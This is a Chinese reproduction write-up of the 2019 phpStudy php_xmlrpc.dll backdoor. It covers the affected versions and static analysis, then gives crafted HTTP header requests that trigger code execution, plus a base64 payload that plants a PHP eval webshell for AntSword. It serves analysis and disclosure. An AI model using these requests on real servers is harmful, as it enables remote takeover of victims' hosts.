一、漏洞简介
2019年9月20日,网上传出 phpStudy 软件存在后门,随后作者立即发布声明进行澄清,其真实情况是该软件官网于2016年被非法入侵,程序包自带PHP的php_xmlrpc.dll模块被植入隐藏后门,经过分析除了有反向连接木马之外,还可以正向执行任意php代码。
二、漏洞影响版本
Phpstudy 2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
Phpstudy 2018 的php-5.2.17、php-5.4.45
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll、
三、复现过程
分析过程
-
定位特征字符串位置
-
静态分析传参数据
-
动态调试构造传参内容
php_xmlrpc.dll
PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll一致。
定位特征字符串位置
根据\@eval()这个代码执行函数定位到引用位置。\@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码,中间%s格式符为字符串传参。函数地址为:0x100031F0
静态分析传参数据
通过F5查看代码,分析代码流程,判断条件是有全局变量且有HTTP_ACCEPT_ENCODING的时候进入内部语句。接下来有两个主要判断来做正向连接和反向连接的操作。主要有两个部分。
第一部分,正向连接:判断ACCEPT_ENCODING如果等于gzip,deflate,读取ACCEPT_CHARSE的内容做base64解密,交给zend_eval_strings()函数可以执行任意恶意代码。
构造HTTP头,把Accept-Encoding改成Accept-Encoding: gzip,deflate可以触发第一个部分。
GET /index.php HTTP/1.1
Host: www.0-sec.org
…..
Accept-Encoding: gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
….
第二部分,反向连接:判断ACCEPT_ENCODING如果等于compress,gzip,通过关键部分\@eval(gzuncompress('%s'));可以看到拼接了一段恶意代码,然后调用gzuncompress方法执行解密。
构造HTTP头,把Accept-Encoding改成Accept-Encoding: compress,gzip可以触发第二部分。
GET /index.php HTTP/1.1
Host: www.0-sec.org
…..
Accept-Encoding:compress,gzip
….
抓包加入accept-charset请求头,输入phpinfo();编码后的结果
验证漏洞
# 写入命令:fputs(fopen('C:\phpStudy\PHPTutorial\WWW\shell.php','w'),'');# Base64编码命令:ZnB1dHMoZm9wZW4oJ0M6XHBocFN0dWR5XFBIUFR1dG9yaWFsXFdXV1xzaGVsbC5waHAnLCd3JyksJzw/cGhwIEBldmFsKCRfUE9TVFsxXSk7ID8+Jyk7
蚁剑连接webshell
—————————只有流过血的手指,才能弹出世间的绝唱 ———————泰戈尔
来源地址:https://blog.csdn.net/qq_56426046/article/details/126796979